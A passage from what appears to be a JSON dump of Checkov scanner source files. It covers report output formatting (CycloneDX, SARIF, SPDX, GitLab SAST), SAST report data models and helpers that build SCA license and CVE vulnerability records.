)\n\n            data_outputs['junitxml'] = junit_output\n        if any(cyclonedx in config.output for cyclonedx in CYCLONEDX_OUTPUTS):\n            cyclonedx = CycloneDX(repo_id=metadata_integration.bc_integration.repo_id, reports=cyclonedx_reports)\n\n            for cyclonedx_format in CYCLONEDX_OUTPUTS:\n                if cyclonedx_format not in config.output:\n                    # only the XML or JSON format was chosen\n                    continue\n\n                if cyclonedx_format == \"cyclonedx\":\n                    cyclonedx_output = cyclonedx.get_xml_output()\n                elif cyclonedx_format == \"cyclonedx_json\":\n                    cyclonedx_output = cyclonedx.get_json_output()\n                else:\n                    # this shouldn't happen\n                    logging.error(f\"CycloneDX output format '{cyclonedx_format}' not supported\")\n                    continue\n\n                self._print_to_console(\n                    output_formats=output_formats,\n                    output_format=cyclonedx_format,\n                    output=cyclonedx_output,\n                )\n\n                data_outputs[cyclonedx_format] = cyclonedx_output\n        if \"gitlab_sast\" in config.output:\n            gl_sast = GitLabSast(reports=gitlab_reports)\n\n            self._print_to_console(\n                output_formats=output_formats,\n                output_format=\"gitlab_sast\",\n                output=json.dumps(gl_sast.sast_json, indent=4),\n            )\n\n            data_outputs[\"gitlab_sast\"] = json.dumps(gl_sast.sast_json)\n        if \"spdx\" in config.output:\n            spdx = SPDX(repo_id=metadata_integration.bc_integration.repo_id, reports=spdx_reports)\n            spdx_output = spdx.get_tag_value_output()\n\n            self._print_to_console(\n                output_formats=output_formats,\n                output_format=\"spdx\",\n                output=spdx_output,\n            )\n\n            data_outputs[\"spdx\"] = spdx_output\n        if \"csv\" in config.output:\n            is_api_key = False\n            if 'bc_api_key' in config and config.bc_api_key is not None:\n                is_api_key = True\n            csv_sbom_report.persist_report(is_api_key=is_api_key, output_path=config.output_file_path)\n\n        # Save output to file\n        file_names = {\n            'cli': 'results_cli.txt',\n            'github_failed_only': 'results_github_failed_only.md',\n            'sarif': 'results_sarif.sarif',\n            'json': 'results_json.json',\n            'junitxml': 'results_junitxml.xml',\n            'cyclonedx': 'results_cyclonedx.xml',\n            'cyclonedx_json': 'results_cyclonedx.json',\n            'gitlab_sast': 'results_gitlab_sast.json',\n            'spdx': 'results_spdx.spdx',\n        }\n\n        if config.output_file_path:\n            if output_formats:\n                for output_format, output_path in output_formats.items():\n                    self.save_output_to_file(\n                        file_name=output_path,\n                        data=data_outputs[output_format],\n                        data_format=output_format,\n                    )\n            else:\n                for output in config.output:\n                    if output in file_names:\n                        self.save_output_to_file(\n                            file_name=f'{config.output_file_path}/{file_names[output]}',\n                            data=data_outputs[output],\n                            data_format=output,\n                        )\n        exit_code = 1 if 1 in exit_codes else 0\n        return cast(Literal[0, 1], exit_code)\n\n    def _print_to_console(self, output_formats: dict[str, str], output_format: str, output: str, url: str | None = None, support_path: str | None = None) -> None:\n        \"\"\"Prints the output to console, if needed\"\"\"\n        output_dest = output_formats[output_format]\n        if output_dest == CONSOLE_OUTPUT:\n            del output_formats[output_format]\n\n            if platform.system() == 'Windows':\n                sys.stdout.buffer.write(output.encode(\"utf-8\"))\n            else:\n                print(output)\n            if url:\n                print(f\"More details: {url}\")\n            elif bc_integration.s3_setup_failed:\n                print(S3_UPLOAD_DETAILS_MESSAGE)\n\n            if support_path:\n                print(f\"\\nPath for uploaded logs (give this to support if raising an issue): {support_path}\")\n\n            if CONSOLE_OUTPUT in output_formats.values():\n                print(OUTPUT_DELIMITER)\n\n    def print_iac_bom_reports(self, output_path: str,\n                              scan_reports: list[Report],\n                              output_types: list[str],\n                              account_id: str) -> dict[str, str]:\n\n        output_files = {\n            'cyclonedx': 'results_cyclonedx.xml',\n            'csv': 'results_iac.csv'\n        }\n\n        # create cyclonedx report\n        if 'cyclonedx' in output_types:\n            cyclonedx_output_path = output_files['cyclonedx']\n            cyclonedx = CycloneDX(reports=scan_reports,\n                                  repo_id=metadata_integration.bc_integration.repo_id,\n                                  export_iac_only=True)\n            cyclonedx_output = cyclonedx.get_xml_output()\n            self.save_output_to_file(file_name=os.path.join(output_path, cyclonedx_output_path),\n                                     data=cyclonedx_output,\n                                     data_format=\"cyclonedx\")\n\n        # create csv report\n        if 'csv' in output_types:\n            csv_sbom_report = CSVSBOM()\n            for report in scan_reports:\n                if not report.is_empty():\n                    git_org, git_repository = self.extract_git_info_from_account_id(account_id)\n                    csv_sbom_report.add_report(report=report, git_org=git_org, git_repository=git_repository)\n            csv_sbom_report.persist_report_iac(file_name=output_files['csv'], output_path=output_path)\n\n        return {key: os.path.join(output_path, value) for key, value in output_files.items()}\n\n    def filter_runner_framework(self) -> None:\n        if not self.runner_filter:\n            return\n        if not self.runner_filter.framework:\n            return\n        if \"all\" in self.runner_filter.framework:\n            return\n        self.runners = [runner for runner in self.runners if runner.check_type in self.runner_filter.framework]\n\n    def filter_runners_for_files(self, files: List[str]) -> None:\n        if not files:\n            return\n\n        self.runners = [runner for runner in self.runners if any(runner.should_scan_file(file) for file in files)]\n        logging.debug(f'Filtered runners based on file type(s). Result: {[r.check_type for r in self.runners]}')\n\n    def remove_runner(self, runner: _BaseRunner) -> None:\n        if runner in self.runners:\n            self.runners.remove(runner)  # type:ignore[arg-type] # existence is checked one line above\n\n    @staticmethod\n    def enrich_report_with_guidelines(scan_report: Report) -> None:\n        for record in itertools.chain(scan_report.failed_checks, scan_report.passed_checks, scan_report.skipped_checks):\n            guideline = metadata_integration.get_guideline(record.check_id)\n            if guideline:\n                record.set_guideline(guideline)\n\n    @staticmethod\n    def get_enriched_resources(\n        repo_roots: list[str | Path],\n        download_external_modules: Optional[bool],\n        external_modules_download_path: str = DEFAULT_EXTERNAL_MODULES_DIR\n    ) -> dict[str, dict[str, Any]]:\n        from checkov.terraform.modules.module_objects import TFDefinitionKey\n\n        repo_definitions = {}\n        for repo_root in repo_roots:\n            parsing_errors: dict[str, Exception] = {}\n            repo_root = os.path.abspath(repo_root)\n            tf_definitions: dict[TFDefinitionKey, dict[str, list[dict[str, Any]]]] = TFParser().parse_directory(\n                directory=repo_root,  # assume plan file is in the repo-root\n                out_parsing_errors=parsing_errors,\n                download_external_modules=download_external_modules,\n                external_modules_download_path=external_modules_download_path,\n            )\n            repo_definitions[repo_root] = {'tf_definitions': tf_definitions, 'parsing_errors': parsing_errors}\n\n        enriched_resources = {}\n        for repo_root, parse_results in repo_definitions.items():\n            definitions = cast(\"dict[TFDefinitionKey, dict[str, list[dict[str, Any]]]]\", parse_results['tf_definitions'])\n            for full_file_path, definition in definitions.items():\n                definitions_context = parser_registry.enrich_definitions_context((full_file_path, definition))\n                abs_scanned_file = full_file_path.file_path\n                scanned_file = os.path.relpath(abs_scanned_file, repo_root)\n                for block_type, block_value in definition.items():\n                    if block_type in CHECK_BLOCK_TYPES:\n                        for entity in block_value:\n                            context_parser = parser_registry.context_parsers[block_type]\n                            definition_path = context_parser.get_entity_context_path(entity)\n                            entity_id = \".\".join(definition_path)\n                            entity_context_path = [block_type] + definition_path\n                            entity_context = data_structures_utils.get_inner_dict(\n                                definitions_context[full_file_path], entity_context_path\n                            )\n                            entity_lines_range = [\n                                entity_context.get(\"start_line\"),\n                                entity_context.get(\"end_line\"),\n                            ]\n                            entity_code_lines = entity_context.get(\"code_lines\")\n                            skipped_checks = entity_context.get(\"skipped_checks\")\n                            enriched_resources[entity_id] = {\n                                \"entity_code_lines\": entity_code_lines,\n                                \"entity_lines_range\": entity_lines_range,\n                                \"scanned_file\": scanned_file,\n                                \"skipped_checks\": skipped_checks,\n                            }\n        return enriched_resources\n\n    def _get_image_referencing_runners(self) -> set[ImageReferencer]:\n        image_referencing_runners: set[ImageReferencer] = set()\n        for runner in self.runners:\n            if issubclass(runner.__class__, ImageReferencer):\n                image_referencing_runners.add(cast(ImageReferencer, runner))\n\n        return image_referencing_runners\n\n    @staticmethod\n    def strip_code_blocks_from_json(report_jsons: List[Dict[str, Any]]) -> None:\n        for report in report_jsons:\n            results = report.get('results', {})\n            for result in results.values():\n                for result_dict in result:\n                    if isinstance(result_dict, dict):\n                        result_dict[\"code_block\"] = None\n                        result_dict[\"connected_node\"] = None\n\n    @staticmethod\n    def extract_git_info_from_account_id(account_id: str) -> tuple[str, str]:\n        if '/' in account_id:\n            account_id_list = account_id.split('/')\n            git_org = '/'.join(account_id_list[0:-1])\n            git_repository = account_id_list[-1]\n        else:\n            git_org, git_repository = \"\", \"\"\n\n        return git_org, git_repository\n\n    @staticmethod\n    def extract_graphs_from_runner(runner: _BaseRunner) -> list[tuple[LibraryGraph, Optional[str]]]:\n        # exist only for terraform\n        all_graphs = getattr(runner, 'all_graphs', None)\n        if all_graphs:\n            return all_graphs   # type:ignore[no-any-return]\n        elif runner.graph_manager:\n            return [(runner.graph_manager.get_reader_endpoint(), None)]\n        return []\n\n\ndef _parallel_run(\n    runner: _BaseRunner,\n    root_folder: str | None = None,\n    external_checks_dir: list[str] | None = None,\n    files: list[str] | None = None,\n    runner_filter: RunnerFilter | None = None,\n    collect_skip_comments: bool = True,\n    platform_integration_data: dict[str, Any] | None = None,\n) -> tuple[Report | list[Report], str | None, list[tuple[LibraryGraph, str | None]] | None, dict[str, str] | None, StringIO | None]:\n    # only sub processes need to erase their logs, to start clean\n    if parallel_runner.running_as_process():\n        erase_log_stream()\n\n    if platform_integration_data:\n        # only happens for 'ParallelizationType.SPAWN'\n        bc_integration.init_instance(platform_integration_data=platform_integration_data)\n\n    report = runner.run(\n        root_folder=root_folder,\n        external_checks_dir=external_checks_dir,\n        files=files,\n        runner_filter=runner_filter,\n        collect_skip_comments=collect_skip_comments,\n    )\n    if report is None:\n        # this only happens, when an uncaught exception inside the runner occurs\n        logging.error(f\"Failed to create report for {runner.check_type} framework\")\n        report = Report(check_type=runner.check_type)\n\n    if runner.graph_manager:\n        return report, runner.check_type, RunnerRegistry.extract_graphs_from_runner(runner), runner.resource_subgraph_map, log_stream\n    return report, runner.check_type, None, None, log_stream\n"
  },
  {
    "path": "checkov/common/sast/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/sast/consts.py",
    "content": "from enum import Enum\nfrom typing import List, Any, Set\nfrom pathlib import Path\n\n\nSAST_FRAMEWORK_PREFIX = 'sast'\nCDK_FRAMEWORK_PREFIX = 'cdk'\n# checkov/checkov/cdk/checks\nCDK_CHECKS_DIR_PATH = Path(__file__).parent.parent.parent / CDK_FRAMEWORK_PREFIX / \"checks\"\n\n\nclass SastLanguages(Enum):\n    @classmethod\n    def list(cls) -> List[Any]:\n        return list(map(lambda c: c.value, cls))\n\n    @classmethod\n    def set(cls) -> Set[\"SastLanguages\"]:\n        return set(cls)\n\n    PYTHON = 'python'\n    JAVA = 'java'\n    JAVASCRIPT = 'javascript'\n    TYPESCRIPT = 'typescript'\n    GOLANG = 'golang'\n\n\nclass CDKLanguages(Enum):\n    @classmethod\n    def list(cls) -> List[Any]:\n        return list(map(lambda c: c.value, cls))\n\n    @classmethod\n    def set(cls) -> Set[\"CDKLanguages\"]:\n        return set(cls)\n\n    PYTHON = 'python'\n    TYPESCRIPT = 'typescript'\n\n\nclass BqlVersion(str, Enum):\n    def __str__(self) -> str:\n        return self.value\n\n    V0_1 = '0.1'\n    V0_2 = '0.2'\n\n\ndef get_bql_version_from_string(version_str: str) -> str:\n    for version in BqlVersion:\n        if version.value == version_str:\n            return version\n    return ''\n\n\nSUPPORT_FILE_EXT = {\n    SastLanguages.PYTHON: ['py'],\n    SastLanguages.JAVA: ['java'],\n    SastLanguages.JAVASCRIPT: ['js'],\n    SastLanguages.TYPESCRIPT: ['ts'],\n    SastLanguages.GOLANG: ['go'],\n}\n\nFILE_EXT_TO_SAST_LANG = {\n    'py': SastLanguages.PYTHON,\n    'java': SastLanguages.JAVA,\n    'js': SastLanguages.JAVASCRIPT,\n    'ts': SastLanguages.TYPESCRIPT,\n    'go': SastLanguages.GOLANG,\n}\n\nPOLICIES_ERRORS = 'policies_errors'\nPOLICIES_ERRORS_COUNT = 'policies_errors_count'\nENGINE_NAME = \"engine_name\"\nSOURCE_FILES_COUNT = \"source_files_count\"\nPOLICY_COUNT = \"policy_count\"\n"
  },
  {
    "path": "checkov/common/sast/report_types.py",
    "content": "from typing import Dict, List, Any, Optional, Union\nfrom pydantic import BaseModel, model_serializer\n\nfrom checkov.common.sast.consts import SastLanguages\n\n\nclass Profiler(BaseModel):\n    duration: Union[str, int]  # noqa: CCE003\n    memory: int  # noqa: CCE003\n\n\nclass Point(BaseModel):\n    row: int  # noqa: CCE003\n    column: int  # noqa: CCE003\n\n    @model_serializer\n    def serialize_model(self) -> Dict[str, Any]:\n        return self.__dict__\n\n\nclass MatchLocation(BaseModel):\n    path: str  # noqa: CCE003\n    start: Point  # noqa: CCE003\n    end: Point  # noqa: CCE003\n    code_block: str  # noqa: CCE003\n    extended_code_block: Optional[Dict[str, Any]] = None   # noqa: CCE003\n\n    @model_serializer\n    def serialize_model(self) -> Dict[str, Any]:\n        return self.__dict__\n\n\nclass DataFlow(BaseModel):\n    data_flow: List[MatchLocation]  # noqa: CCE003\n\n    @model_serializer\n    def serialize_model(self) -> Dict[str, List[MatchLocation]]:\n        return {'data_flow': self.data_flow}\n\n\nclass MatchMetadata(BaseModel):\n    taint_mode: Optional[DataFlow] = None  # noqa: CCE003\n    code_locations: Optional[List[MatchLocation]] = None  # noqa: CCE003\n\n    @model_serializer\n    def serialize_model(self) -> Dict[str, Any]:\n        metadata = {}\n        if hasattr(self, 'taint_mode') and self.taint_mode:\n            metadata['taint_mode'] = self.taint_mode\n        if hasattr(self, 'code_locations') and self.code_locations:\n            metadata['code_locations'] = self.code_locations  # type: ignore\n\n        return metadata\n\n\nclass Match(BaseModel):\n    exact_hash: str  # noqa: CCE003\n    structure_hash: str  # noqa: CCE003\n    location: MatchLocation  # noqa: CCE003\n    metadata: MatchMetadata  # noqa: CCE003\n    minimized_ast: str  # noqa: CCE003\n\n\nclass RuleMatchMetadata(BaseModel):\n    framework: Optional[str] = ''  # noqa: CCE003\n\n\nclass RuleMatch(BaseModel):\n    check_id: str  # noqa: CCE003\n    check_name: str  # noqa: CCE003\n    check_cwe: Optional[Union[List[str], str]]  # noqa: CCE003\n    check_owasp: Optional[Union[List[str], str]]  # noqa: CCE003\n    severity: str  # noqa: CCE003\n    matches: List[Match]  # noqa: CCE003\n    metadata: Optional[RuleMatchMetadata] = None  # noqa: CCE003\n\n\nclass Function(BaseModel):\n    name: str  # noqa: CCE003\n    alias: str  # noqa: CCE003\n    line_number: int  # noqa: CCE003\n    code_block: str  # noqa: CCE003\n    cve_id: Optional[str]  # noqa: CCE003\n\n    def to_dict(self) -> Dict[str, Any]:\n        return self.__dict__\n\n\nclass Package(BaseModel):\n    alias: str  # noqa: CCE003\n    functions: List[Function]   # noqa: CCE003\n\n\nclass File(BaseModel):\n    packages: Dict[str, Package]  # noqa: CCE003\n\n\nclass Repositories(BaseModel):\n    files: Dict[str, File]  # noqa: CCE003\n\n\nclass SkippedCheck(BaseModel):\n    check_id: str   # noqa: CCE003\n    suppress_comment: str   # noqa: CCE003\n\n\nclass PrismaReport(BaseModel):\n    rule_match: Dict[SastLanguages, Dict[str, RuleMatch]]  # noqa: CCE003\n    errors: Dict[str, List[str]]  # noqa: CCE003\n    profiler: Dict[str, Profiler]  # noqa: CCE003\n    run_metadata: Dict[str, Optional[Union[str, int, List[str]]]]  # noqa: CCE003\n    imports: Dict[SastLanguages, Dict[str, Dict[str, Union[List[str], Dict[str, str]]]]]  # noqa: CCE003\n    reachability_report: Dict[SastLanguages, Dict[str, Repositories]]   # noqa: CCE003\n    skipped_checks_by_file: Dict[str, List[SkippedCheck]]   # noqa: CCE003\n\n\ndef create_empty_report(languages: List[SastLanguages]) -> PrismaReport:\n    matches: Dict[SastLanguages, Dict[str, RuleMatch]] = {}\n    for lang in languages:\n        matches[lang] = {}\n    return PrismaReport(rule_match=matches, errors={}, profiler={}, run_metadata={}, imports={}, reachability_report={},\n                        skipped_checks_by_file={})\n\n\ndef serialize_reachability_report(report: Dict[str, Repositories]) -> Dict[str, Any]:\n    result: Dict[str, Any] = {}\n    for repo_path, files in report.items():\n        result[repo_path] = {\"files\": {}}\n        for file_name, packages in files.files.items():\n            result[repo_path][\"files\"][file_name] = {\"packages\": {}}\n            for package_name, package in packages.packages.items():\n                result[repo_path][\"files\"][file_name][\"packages\"][package_name] = {\"alias\": package.alias, \"functions\": []}\n                for function in package.functions:\n                    result[repo_path][\"files\"][file_name][\"packages\"][package_name][\"functions\"].append(function.to_dict())\n    return result\n"
  },
  {
    "path": "checkov/common/sca/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/sca/commons.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom typing import List, Optional, Any, cast\n\nfrom checkov.common.output.common import SCADetails\n\nUNFIXABLE_VERSION = \"N/A\"\nOPEN_STATUS = \"open\"\n\nTWISTCLI_TO_CHECKOV_LANG_NORMALIZATION = {\n    \"gem\": \"ruby\",\n    \"nuget\": \"dotNet\"\n}\n\n\ndef get_file_path_for_record(rootless_file_path: str) -> str:\n    return f\"/{rootless_file_path}\"\n\n\ndef get_resource_for_record(rootless_file_path: str, package_name: str) -> str:\n    return f\"{rootless_file_path}.{package_name}\"\n\n\ndef get_package_alias(package_name: str, package_version: str) -> str:\n    return f\"{package_name}@{package_version}\"\n\n\ndef get_license_policy_and_package_alias(policy: str, package_name: str) -> str:\n    return f'{policy}_{package_name}'\n\n\ndef get_package_type(package_name: str, package_version: str, sca_details: SCADetails | None = None) -> str:\n    if sca_details:\n        return str(sca_details.package_types.get(f\"{package_name}@{package_version}\", \"\"))\n    else:\n        return \"\"\n\n\ndef get_registry_url(package: dict[str, Any]) -> str:\n    if \"registry\" in package:\n        return cast(\"str\", package.get(\"registry\", \"\"))\n    return cast(\"str\", package.get(\"registryUrl\", \"\"))\n\n\ndef normalize_twistcli_language(language: str) -> str:\n    \"\"\"\n    part of the language names that are returned by twistcli may be a little differ from those we use in checkov.\n    this function's goal is to normalize them\n    \"\"\"\n    return TWISTCLI_TO_CHECKOV_LANG_NORMALIZATION.get(language, language)\n\n\ndef get_package_lines(package: dict[str, Any]) -> list[int] | None:\n    return cast(\"list[int] | None\", package.get(\"linesNumbers\", package.get(\"lines\")))\n\n\ndef get_record_file_line_range(package: dict[str, Any], file_line_range: list[int] | None) -> list[int]:\n    \"\"\"\n    Currently, there are 2 way for getting file_line_range for the sca-report:\n    1. by the arg 'file_line_range' which comes from the runner - this is specific for entire file (e.g: image referencer)\n    2. by a dedicated attribute in a package-object - (e.g: DT-cli V2)\n    The purpose of this function is making sure there are no conflicts between those resources, and return a valid rage\n    \"\"\"\n    package_line_range = get_package_lines(package)\n    if package_line_range and file_line_range:\n        logging.error(\n            '[get_record_file_line_range] Both \\'package_line_range\\' and \\'file_line_range\\' are not None. Conflict.')\n    return package_line_range or file_line_range or [0, 0]\n\n\ndef should_run_scan(runner_filter_checks: Optional[List[str]]) -> bool:\n    return not (runner_filter_checks and all(\n        not (check.startswith(\"CKV_CVE\") or check.startswith(\"BC_CVE\") or check.startswith(\"BC_LIC\")) for check in\n        runner_filter_checks))\n\n\ndef get_fix_version(vulnerability_details: dict[str, Any]) -> str:\n    if \"fix_version\" in vulnerability_details:\n        return str(vulnerability_details[\"fix_version\"])\n\n    if \"lowest_fixed_version\" in vulnerability_details:\n        return str(vulnerability_details[\"lowest_fixed_version\"])\n\n    return UNFIXABLE_VERSION\n"
  },
  {
    "path": "checkov/common/sca/consts.py",
    "content": "from enum import Enum\nfrom typing import Optional, Dict\n\nfrom checkov.common.sast.consts import SastLanguages\n\n\nclass ScaPackageFile(Enum):\n    PACKAGE_JSON = 'package.json'\n    PACKAGE_JSON_LOCK = 'package-lock.json'\n    POM_XML = 'pom.xml'\n    BUILD_GRADLE = 'build.gradle'\n    PIPFILE = 'Pipfile'\n    PIPFILE_LOCK = 'Pipfile.lock'\n\n\nsca_package_to_sast_lang_map: Dict[ScaPackageFile, SastLanguages] = {\n    ScaPackageFile.PACKAGE_JSON: SastLanguages.JAVASCRIPT,\n    ScaPackageFile.PACKAGE_JSON_LOCK: SastLanguages.JAVASCRIPT,\n    ScaPackageFile.POM_XML: SastLanguages.JAVA,\n    ScaPackageFile.BUILD_GRADLE: SastLanguages.JAVA,\n    ScaPackageFile.PIPFILE: SastLanguages.PYTHON,\n    ScaPackageFile.PIPFILE_LOCK: SastLanguages.PYTHON\n}\n\n\ndef get_package_by_str(package_name: str) -> Optional[ScaPackageFile]:\n    for enum_member in ScaPackageFile:\n        if enum_member.value == package_name:\n            return enum_member\n    return None\n"
  },
  {
    "path": "checkov/common/sca/output.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom collections import defaultdict\nfrom datetime import datetime, timedelta\nfrom typing import TYPE_CHECKING, Any, Optional, Dict, List\n\nfrom checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import (\n    integration as metadata_integration,\n)\nfrom checkov.common.bridgecrew.platform_integration import bc_integration\nfrom checkov.common.bridgecrew.severities import Severities, Severity\nfrom checkov.common.models.enums import CheckResult, ScanDataFormat\nfrom checkov.common.output.extra_resource import ExtraResource\nfrom checkov.common.output.record import Record, DEFAULT_SEVERITY, SCA_PACKAGE_SCAN_CHECK_NAME, SCA_LICENSE_CHECK_NAME\nfrom checkov.common.packaging import version as packaging_version\nfrom checkov.common.sca.commons import (\n    get_file_path_for_record,\n    get_resource_for_record,\n    get_package_alias,\n    UNFIXABLE_VERSION,\n    get_package_type,\n    normalize_twistcli_language,\n    get_registry_url, get_package_lines,\n    get_record_file_line_range, get_license_policy_and_package_alias\n)\nfrom checkov.common.util.http_utils import request_wrapper, aiohttp_client_session_wrapper\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.common.output.common import format_licenses_to_string\n\nif TYPE_CHECKING:\n    from checkov.common.output.common import SCADetails\n    from checkov.common.output.report import Report\n    from checkov.common.typing import (\n        _LicenseStatus,\n        _CheckResult,\n        _ScaSuppressions,\n        _ScaSuppressionsMaps,\n        _SuppressedCves,\n        _SuppressedLicenses,\n        _ImageReferencerLicenseStatus,\n    )\n\n\ndef create_report_license_record(\n        rootless_file_path: str,\n        file_abs_path: str,\n        check_class: str,\n        licenses_status: _LicenseStatus,\n        package: dict[str, Any],\n        sca_details: SCADetails | None = None,\n        severity: Severity | None = None\n) -> Record:\n    package_name = licenses_status[\"package_name\"]\n    package_version = licenses_status[\"package_version\"]\n    policy = licenses_status[\"policy\"]\n    bc_status = licenses_status[\"status\"]\n\n    # renaming the status name from the one in platform's report to be convenient with checkov's-report\n    status = \"FAILED\" if bc_status == \"OPEN\" else bc_status\n\n    check_result: _CheckResult = {\n        \"result\": CheckResult.FAILED,\n    }\n    if status == \"COMPLIANT\":\n        check_result[\"result\"] = CheckResult.PASSED\n\n    code_block = get_code_block(package, package_name, package_version)\n\n    details = {\n        \"package_name\": package_name,\n        \"package_version\": package_version,\n        \"package_registry\": get_registry_url(package),\n        \"is_private_registry\": package.get(\"isPrivateRegistry\", False),\n        \"license\": licenses_status[\"license\"],\n        \"status\": status,\n        \"policy\": policy,\n        \"package_type\": get_package_type(package_name, package_version, sca_details),\n    }\n\n    record = Record(\n        check_id=policy,\n        bc_check_id=policy,\n        check_name=SCA_LICENSE_CHECK_NAME,\n        check_result=check_result,\n        code_block=code_block,\n        file_path=get_file_path_for_record(rootless_file_path),\n        file_line_range=get_package_lines(package) or [0, 0],\n        resource=get_resource_for_record(rootless_file_path, package_name),\n        check_class=check_class,\n        evaluations=None,\n        file_abs_path=file_abs_path,\n        short_description=f\"License {licenses_status['license']} - {package_name}: {package_version}\",\n        vulnerability_details=details,\n        severity=severity\n    )\n    return record\n\n\ndef _update_details_by_scan_data_format(\n        details: dict[str, Any],\n        vulnerability_details: dict[str, Any],\n        sca_details: SCADetails | None = None,\n        scan_data_format: ScanDataFormat = ScanDataFormat.TWISTCLI\n) -> None:\n    if scan_data_format in {ScanDataFormat.TWISTCLI, ScanDataFormat.DEPENDENCY_TREE}:\n        lowest_fixed_version = UNFIXABLE_VERSION\n        package_version = vulnerability_details[\"packageVersion\"]\n        fixed_versions: list[packaging_version.Version | packaging_version.LegacyVersion] = []\n        status = vulnerability_details.get(\"status\") or \"open\"\n        if status != \"open\":\n            parsed_current_version = packaging_version.parse(package_version)\n            for version in status.replace(\"fixed in\", \"\").split(\",\"):\n                parsed_version = packaging_version.parse(version.strip())\n                if parsed_version > parsed_current_version:\n                    fixed_versions.append(parsed_version)\n\n            if fixed_versions:\n                lowest_fixed_version = str(min(fixed_versions))\n        details.update({\"status\": status, \"lowest_fixed_version\": lowest_fixed_version,\n                        \"fixed_versions\": fixed_versions, \"image_details\": sca_details})\n    elif scan_data_format == ScanDataFormat.PLATFORM:\n        status = vulnerability_details[\"status\"]\n        fix_version = vulnerability_details.get(\"cveStatus\")\n        details.update({\"status\": status, \"fix_version\": fix_version})\n\n\ndef get_code_block(package: dict[str, Any], package_name: str, package_version: str,\n                   root_package: Optional[dict[str, Any]] = None) -> list[tuple[int, str]]:\n    if root_package:\n        root_lines_number = root_package.get(\"lines\")\n        root_code_block = root_package.get(\"code_block\")\n        if root_lines_number and root_code_block:\n            return [(int(root_lines_number[0]), root_code_block)]\n\n    lines_number = package.get(\"lines\")\n    code_block = package.get(\"code_block\")\n\n    if lines_number and code_block:\n        return [(int(lines_number[0]), code_block)]\n\n    return [(0, f\"{package_name}: {package_version}\")]\n\n\ndef get_fix_command_and_code(vulnerability_details: dict[str, Any], root_package: dict[str, Any] | None = None,\n                             root_package_cve: dict[str, Any] | None = None\n                             ) -> tuple[dict[str, Any] | None, str | None]:\n    if root_package_cve:\n        return root_package_cve.get('fixCommand'), root_package_cve.get('fixCode')\n\n    if root_package and (\n            root_package['name'] != vulnerability_details[\"packageName\"] or root_package['version'] !=\n            vulnerability_details[\"packageVersion\"]):\n        return None, None\n    return vulnerability_details.get('fixCommand'), vulnerability_details.get('fixCode')\n\n\ndef get_package_lines_numbers(package: dict[str, Any], root_package: dict[str, Any] | None = None,\n                              file_line_range: list[int] | None = None) -> list[int]:\n    if root_package:\n        return get_record_file_line_range(root_package, file_line_range)\n    return get_record_file_line_range(package, file_line_range)\n\n\ndef create_report_cve_record(\n        rootless_file_path: str,\n        file_abs_path: str,\n        check_class: str,\n        vulnerability_details: dict[str, Any],\n        licenses: str,\n        package: dict[str, Any],\n        used_private_registry: bool = False,\n        root_package: dict[str, Any] | None = None,\n        runner_filter: RunnerFilter | None = None,\n        sca_details: SCADetails | None = None,\n        scan_data_format: ScanDataFormat = ScanDataFormat.TWISTCLI,\n        file_line_range: list[int] | None = None,\n        root_package_cve: dict[str, Any] | None = None\n) -> Record:\n    runner_filter = runner_filter or RunnerFilter()\n    package_name = vulnerability_details[\"packageName\"]\n    package_version = vulnerability_details[\"packageVersion\"]\n    package_type = get_package_type(package_name, package_version, sca_details)\n    cve_id = vulnerability_details.get(\"id\", vulnerability_details.get(\"cveId\", '')).upper()\n    severity = vulnerability_details.get(\"severity\", DEFAULT_SEVERITY)\n\n    # sanitize severity names\n    if severity == \"moderate\":\n        severity = \"medium\"\n    if severity.upper() not in Severities:\n        logging.warning(\n            f\"unknown severity - severity '{severity}' is unknown. using the DEFAULT_SEVERITY: '{DEFAULT_SEVERITY}' instead. \"\n            f\"vulnerabilities-details: {vulnerability_details}\")\n        severity = DEFAULT_SEVERITY\n\n    description = vulnerability_details.get(\"description\")\n\n    check_result: _CheckResult = {\n        \"result\": CheckResult.FAILED,\n    }\n\n    if runner_filter.skip_cve_package and package_name in runner_filter.skip_cve_package:\n        check_result = {\n            \"result\": CheckResult.SKIPPED,\n            \"suppress_comment\": f\"Filtered by package '{package_name}'\",\n        }\n    elif not runner_filter.within_threshold(Severities[severity.upper()]):\n        check_result = {\n            \"result\": CheckResult.SKIPPED,\n            \"suppress_comment\": \"Filtered by severity\",\n        }\n    code_block = get_code_block(package, package_name, package_version, root_package)\n    fix_command, fix_code = get_fix_command_and_code(vulnerability_details, root_package, root_package_cve)\n    details = {\n        \"id\": cve_id,\n        \"severity\": severity,\n        \"package_name\": package_name,\n        \"package_version\": package_version,\n        \"package_registry\": get_registry_url(package),\n        \"is_private_registry\": package.get(\"isPrivateRegistry\", False),\n        \"package_type\": package_type,\n        \"link\": vulnerability_details.get(\"link\"),\n        \"cvss\": vulnerability_details.get(\"cvss\"),\n        \"vector\": vulnerability_details.get(\"vector\"),\n        \"description\": description,\n        \"risk_factors\": vulnerability_details.get(\"riskFactorsV2\"),\n        \"published_date\": vulnerability_details.get(\"publishedDate\") or (datetime.now() - timedelta(\n            days=vulnerability_details.get(\"publishedDays\", 0))).isoformat(),\n        \"licenses\": licenses,\n        \"root_package_name\": root_package.get(\"name\") if root_package else None,\n        \"root_package_version\": root_package.get(\"version\") if root_package else None,\n        \"root_package_file_line_range\": get_package_lines(root_package) if root_package else None or [0, 0],\n        \"fix_command\": fix_command\n    }\n\n    if used_private_registry:\n        details[\"is_private_fix\"] = vulnerability_details.get(\"isPrivateRegFix\", False)\n\n    if root_package_cve and root_package_cve.get('fixVersion'):\n        details['root_package_fix_version'] = root_package_cve.get('fixVersion')\n\n    _update_details_by_scan_data_format(details, vulnerability_details, sca_details, scan_data_format)\n    record = Record(\n        check_id=f\"CKV_{cve_id.replace('-', '_')}\",\n        bc_check_id=f\"BC_{cve_id.replace('-', '_')}\",\n        check_name=SCA_PACKAGE_SCAN_CHECK_NAME,\n        check_result=check_result,\n        code_block=code_block,\n        file_path=get_file_path_for_record(rootless_file_path),\n        file_line_range=get_package_lines_numbers(package, root_package, file_line_range),\n        resource=get_resource_for_record(rootless_file_path, package_name),\n        check_class=check_class,\n        evaluations=None,\n        file_abs_path=file_abs_path,\n        severity=Severities[severity.upper()],\n        description=description,\n        short_description=f\"{cve_id} - 